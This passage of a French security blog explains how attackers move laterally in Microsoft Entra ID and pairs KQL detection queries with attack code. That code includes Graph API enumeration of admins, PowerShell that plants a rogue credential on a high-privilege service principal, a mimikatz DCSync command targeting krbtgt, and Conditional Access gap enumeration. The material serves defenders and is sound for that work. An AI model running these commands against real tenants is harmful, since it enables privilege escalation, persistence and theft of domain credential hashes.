<div class="language-kusto codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-kusto codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">// KQL : Détecter les nouveaux identifiants ajoutés aux principaux de service</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">AuditLogs</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| where OperationName in (</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    "Add service principal credentials",</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    "Update application – Certificates and secrets management"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| extend</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    ModifiedApp = tostring(TargetResources[0].displayName),</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    ModifiedBy = tostring(InitiatedBy.user.userPrincipalName),</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    ModifiedByApp = tostring(InitiatedBy.app.displayName)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| project TimeGenerated, ModifiedApp, ModifiedBy, ModifiedByApp, Result</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| where Result == "success"</span><br></span></code></pre></div></div>
<div class="language-kusto codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-kusto codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">// KQL : Chasser les connexions de principal de service depuis des IPs inattendues</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">AADServicePrincipalSignInLogs</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| where ResultType == 0</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| summarize </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    IPList = make_set(IPAddress),</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    Countries = make_set(LocationDetails.countryOrRegion),</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    SignInCount = count()</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    by ServicePrincipalName, bin(TimeGenerated, 1d)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| where array_length(IPList) &gt; 3 or array_length(Countries) &gt; 1</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| sort by TimeGenerated desc</span><br></span></code></pre></div></div>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="section-5--mouvement-latéral-via-entra-id--dun-compte-à-tout-le-tenant">Section 5 : Mouvement Latéral via Entra ID  D'un Compte à Tout le Tenant<a href="https://inferencedefense.com/fr/blog/comment-les-attaquants-abusent-entra-id-oauth-sans-malware#section-5--mouvement-lat%C3%A9ral-via-entra-id--dun-compte-%C3%A0-tout-le-tenant" class="hash-link" aria-label="Direct link to Section 5 : Mouvement Latéral via Entra ID  D'un Compte à Tout le Tenant" title="Direct link to Section 5 : Mouvement Latéral via Entra ID  D'un Compte à Tout le Tenant" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="comment-les-attaquants-passent-dun-utilisateur-compromis-au-contrôle-total-du-tenant">Comment les Attaquants Passent d'un Utilisateur Compromis au Contrôle Total du Tenant<a href="https://inferencedefense.com/fr/blog/comment-les-attaquants-abusent-entra-id-oauth-sans-malware#comment-les-attaquants-passent-dun-utilisateur-compromis-au-contr%C3%B4le-total-du-tenant" class="hash-link" aria-label="Direct link to Comment les Attaquants Passent d'un Utilisateur Compromis au Contrôle Total du Tenant" title="Direct link to Comment les Attaquants Passent d'un Utilisateur Compromis au Contrôle Total du Tenant" translate="no">​</a></h3>
<p>Obtenir les tokens d'un seul utilisateur n'est généralement pas l'objectif final. L'objectif est typiquement :</p>
<ul>
<li class="">Escalader vers un Administrateur Global</li>
<li class="">Accéder aux données de haute valeur de plusieurs utilisateurs</li>
<li class="">Établir un accès persistant qui survit à la réponse sur incident</li>
<li class="">Pivoter vers les ressources Azure ou l'AD sur site via la jonction hybride</li>
</ul>
<p>Voici la chaîne d'attaque qu'un acteur de menace avancé exécute après le compromis initial.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="étape-1--énumérer-le-tenant-rester-discret">Étape 1 : Énumérer le Tenant (Rester Discret)<a href="https://inferencedefense.com/fr/blog/comment-les-attaquants-abusent-entra-id-oauth-sans-malware#%C3%A9tape-1--%C3%A9num%C3%A9rer-le-tenant-rester-discret" class="hash-link" aria-label="Direct link to Étape 1 : Énumérer le Tenant (Rester Discret)" title="Direct link to Étape 1 : Énumérer le Tenant (Rester Discret)" translate="no">​</a></h3>
<div class="language-python codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-python codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Énumération via l'API Graph  tous des appels API légitimes, aucun outil de scan</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">headers </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token string" style="color:hsl(139, 66%, 32%)">"Authorization"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> </span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)">f"Bearer </span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token string-interpolation interpolation">access_token</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)">"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># 1. Obtenir l'annuaire complet des utilisateurs  qui est précieux ?</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">users </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> requests</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">get</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token string" style="color:hsl(139, 66%, 32%)">"https://graph.microsoft.com/v1.0/users"</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token string" style="color:hsl(139, 66%, 32%)">"?$select=id,displayName,mail,jobTitle,department,officeLocation"</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token string" style="color:hsl(139, 66%, 32%)">"&amp;$top=999"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    headers</span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain">headers</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">json</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># 2. Trouver toutes les attributions de rôles  qui est admin ?</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">roles </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> requests</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">get</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token string" style="color:hsl(139, 66%, 32%)">"https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments"</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token string" style="color:hsl(139, 66%, 32%)">"?$expand=principal"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    headers</span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain">headers</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">json</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Filtrer pour les Admins Globaux, rôles privilégiés</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">privileged_roles </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token string" style="color:hsl(139, 66%, 32%)">"Global Administrator"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token string" style="color:hsl(139, 66%, 32%)">"Privileged Role Administrator"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token string" style="color:hsl(139, 66%, 32%)">"Application Administrator"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token string" style="color:hsl(139, 66%, 32%)">"Exchange Administrator"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token string" style="color:hsl(139, 66%, 32%)">"Security Administrator"</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># 3. Trouver les principaux de service avec des privilèges élevés</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">high_value_sps </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> requests</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">get</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token string" style="color:hsl(139, 66%, 32%)">"https://graph.microsoft.com/v1.0/servicePrincipals"</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token string" style="color:hsl(139, 66%, 32%)">"?$select=id,displayName,appId,appRoles"</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token string" style="color:hsl(139, 66%, 32%)">"&amp;$top=999"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    headers</span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain">headers</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">json</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># 4. Vérifier si l'utilisateur actuel a des rôles admin</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">my_roles </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> requests</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">get</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token string" style="color:hsl(139, 66%, 32%)">"https://graph.microsoft.com/v1.0/me/transitiveMemberOf/microsoft.graph.directoryRole"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    headers</span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain">headers</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">json</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><br></span></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="étape-2--chemins-descalade-de-privilèges">Étape 2 : Chemins d'Escalade de Privilèges<a href="https://inferencedefense.com/fr/blog/comment-les-attaquants-abusent-entra-id-oauth-sans-malware#%C3%A9tape-2--chemins-descalade-de-privil%C3%A8ges" class="hash-link" aria-label="Direct link to Étape 2 : Chemins d'Escalade de Privilèges" title="Direct link to Étape 2 : Chemins d'Escalade de Privilèges" translate="no">​</a></h3>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="chemin-a--administrateur-dapplication--administrateur-global">Chemin A : Administrateur d'Application → Administrateur Global<a href="https://inferencedefense.com/fr/blog/comment-les-attaquants-abusent-entra-id-oauth-sans-malware#chemin-a--administrateur-dapplication--administrateur-global" class="hash-link" aria-label="Direct link to Chemin A : Administrateur d'Application → Administrateur Global" title="Direct link to Chemin A : Administrateur d'Application → Administrateur Global" translate="no">​</a></h4>
<p>Un compte avec le rôle Administrateur d'Application peut ajouter des identifiants à n'importe quel principal de service d'application. Si une application dispose de permissions équivalentes à Admin Global, c'est une escalade en une étape.</p>
<div class="language-powershell codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-powershell codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># L'attaquant dispose du rôle Administrateur d'Application</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Trouver les apps avec Directory.ReadWrite.All ou RoleManagement.ReadWrite.Directory</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">$apps = Get-MgServicePrincipal -All</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">$highPrivApps = foreach ($app in $apps) {</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    $assignments = Get-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $app.Id</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    $highPriv = $assignments | Where-Object { </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        $_.ResourceDisplayName -eq "Microsoft Graph" -and</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        # Ces permissions sont équivalentes à Admin Global</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        $app.AppRoles.Value -match "RoleManagement.ReadWrite|Directory.ReadWrite"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    }</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    if ($highPriv) { $app }</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">}</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Ajouter un identifiant à l'app hautement privilégiée, l'utiliser pour assigner Admin Global au compte attaquant</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">$cred = Add-MgServicePrincipalPassword -ServicePrincipalId $highPrivApps[0].Id -PasswordCredential @{</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    DisplayName = "backup-credential"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    EndDateTime = (Get-Date).AddYears(1)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">}</span><br></span></code></pre></div></div>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="chemin-b--abus-didentité-hybride-cloud--sur-site">Chemin B : Abus d'Identité Hybride (Cloud → Sur Site)<a href="https://inferencedefense.com/fr/blog/comment-les-attaquants-abusent-entra-id-oauth-sans-malware#chemin-b--abus-didentit%C3%A9-hybride-cloud--sur-site" class="hash-link" aria-label="Direct link to Chemin B : Abus d'Identité Hybride (Cloud → Sur Site)" title="Direct link to Chemin B : Abus d'Identité Hybride (Cloud → Sur Site)" translate="no">​</a></h4>
<p>Si le tenant utilise Entra Connect (anciennement Azure AD Connect) pour la synchronisation d'identité hybride, le compte de synchronisation dispose de privilèges étendus sur l'Active Directory sur site. Le compromettre ouvre un chemin vers l'admin de domaine sur site.</p>
<div class="language-powershell codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-powershell codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Identifier le compte de synchronisation Entra Connect (généralement préfixe MSOL_ ou AAD_)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">Get-ADUser -Filter {SamAccountName -like "MSOL_*" -or SamAccountName -like "AAD_*"} -Properties *</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Le compte de synchronisation dispose des droits DCSync sur le domaine par défaut</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Un attaquant avec ses identifiants peut extraire tous les hachages AD</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">mimikatz # lsadump::dcsync /domain:corp.local /user:krbtgt</span><br></span></code></pre></div></div>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="chemin-c--lacunes-dans-les-politiques-daccès-conditionnel">Chemin C : Lacunes dans les Politiques d'Accès Conditionnel<a href="https://inferencedefense.com/fr/blog/comment-les-attaquants-abusent-entra-id-oauth-sans-malware#chemin-c--lacunes-dans-les-politiques-dacc%C3%A8s-conditionnel" class="hash-link" aria-label="Direct link to Chemin C : Lacunes dans les Politiques d'Accès Conditionnel" title="Direct link to Chemin C : Lacunes dans les Politiques d'Accès Conditionnel" translate="no">​</a></h4>
<p>La plupart des organisations ont des politiques d'Accès Conditionnel protégeant les connexions interactives mais oublient que :</p>
<ul>
<li class="">Les protocoles d'authentification héritée (SMTP AUTH, IMAP, Exchange ActiveSync) contournent les CA</li>
<li class="">L'authentification des principaux de service contourne presque toutes les politiques CA</li>
<li class="">Certaines identités de charge de travail sont exclues des politiques pour des "raisons opérationnelles"</li>
</ul>
<div class="language-powershell codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-powershell codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Énumérer les politiques d'Accès Conditionnel pour trouver les lacunes</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">Connect-MgGraph -Scopes "Policy.Read.All"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">$policies = Get-MgIdentityConditionalAccessPolicy -All</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">foreach ($policy in $policies) {</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    Write-Output "Politique : $($policy.DisplayName)"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    Write-Output "  État : $($policy.State)"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    Write-Output "  Utilisateurs exclus : $($policy.Conditions.Users.ExcludeUsers -join ', ')"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    Write-Output "  Groupes exclus : $($policy.Conditions.Users.ExcludeGroups -join ', ')"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    Write-Output "  Apps exclues : $($policy.Conditions.Applications.ExcludeApplications -join ', ')"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    Write-Output "  Types d'app client : $($policy.Conditions.ClientAppTypes -join ', ')"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    # Signal d'alerte : "all" n'est PAS dans ClientAppTypes  auth héritée non bloquée</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    if ($policy.Conditions.ClientAppTypes -notcontains "exchangeActiveSync" -and</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        $policy.Conditions.ClientAppTypes -notcontains "other") {</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        Write-Output "  *** AUTH HÉRITÉE NON COUVERTE ***"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    }</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">}</span><br></span></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="la-chaîne-de-détection-complète">La Chaîne de Détection Complète<a href="https://inferencedefense.com/fr/blog/comment-les-attaquants-abusent-entra-id-oauth-sans-malware#la-cha%C3%AEne-de-d%C3%A9tection-compl%C3%A8te" class="hash-link" aria-label="Direct link to La Chaîne de Détection Complète" title="Direct link to La Chaîne de Détection Complète" translate="no">​</a></h3>
<p>Pour qu'un SOC puisse détecter cette attaque de bout en bout, vous avez besoin d'une couverture sur plusieurs sources de journaux :</p>
<!-- -->
<div class="language-kusto codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-kusto codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">// KQL : Requête de chasse principale  chaîne d'activité identitaire suspecte</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">let suspicious_users =</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    AADSignInLogs</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    | where AuthenticationProtocol == "deviceCode" or</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            (NetworkLocationDetails == "[]" and RiskLevelDuringSignIn in ("high", "medium"))</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    | distinct UserPrincipalName;</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">AuditLogs</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| where TimeGenerated &gt; ago(7d)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| where InitiatedBy.user.userPrincipalName in (suspicious_users)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| where OperationName in (</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    "Consent to application",</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    "Add service principal credentials",</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    "Add member to role",</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    "Add app role assignment to service principal",</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    "Update application",</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    "Set-InboxRule",</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    "New-InboxRule"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| project TimeGenerated, </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    User = InitiatedBy.user.userPrincipalName,</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    Operation = OperationName,</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    Target = TargetResources[0].displayName,</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    Result</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| sort by TimeGenerated asc</span><br></span></code></pre></div></div>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="ce-que-les-rssi-devraient-faire-ce-trimestre">Ce que les RSSI Devraient Faire ce Trimestre<a href="https://inferencedefense.com/fr/blog/comment-les-attaquants-abusent-entra-id-oauth-sans-malware#ce-que-les-rssi-devraient-faire-ce-trimestre" class="hash-link" aria-label="Direct link to Ce que les RSSI Devraient Faire ce Trimestre" title="Direct link to Ce que les RSSI Devraient Faire ce Trimestre" translate="no">​</a></h2>
<p>Les requêtes de détection et les chaînes d'attaque ci-dessus sont intéressantes, mais ce qui compte c'est ce que vous changez. Voici les contrôles à plus fort ROI classés par impact vs. effort :</p>
<!-- -->
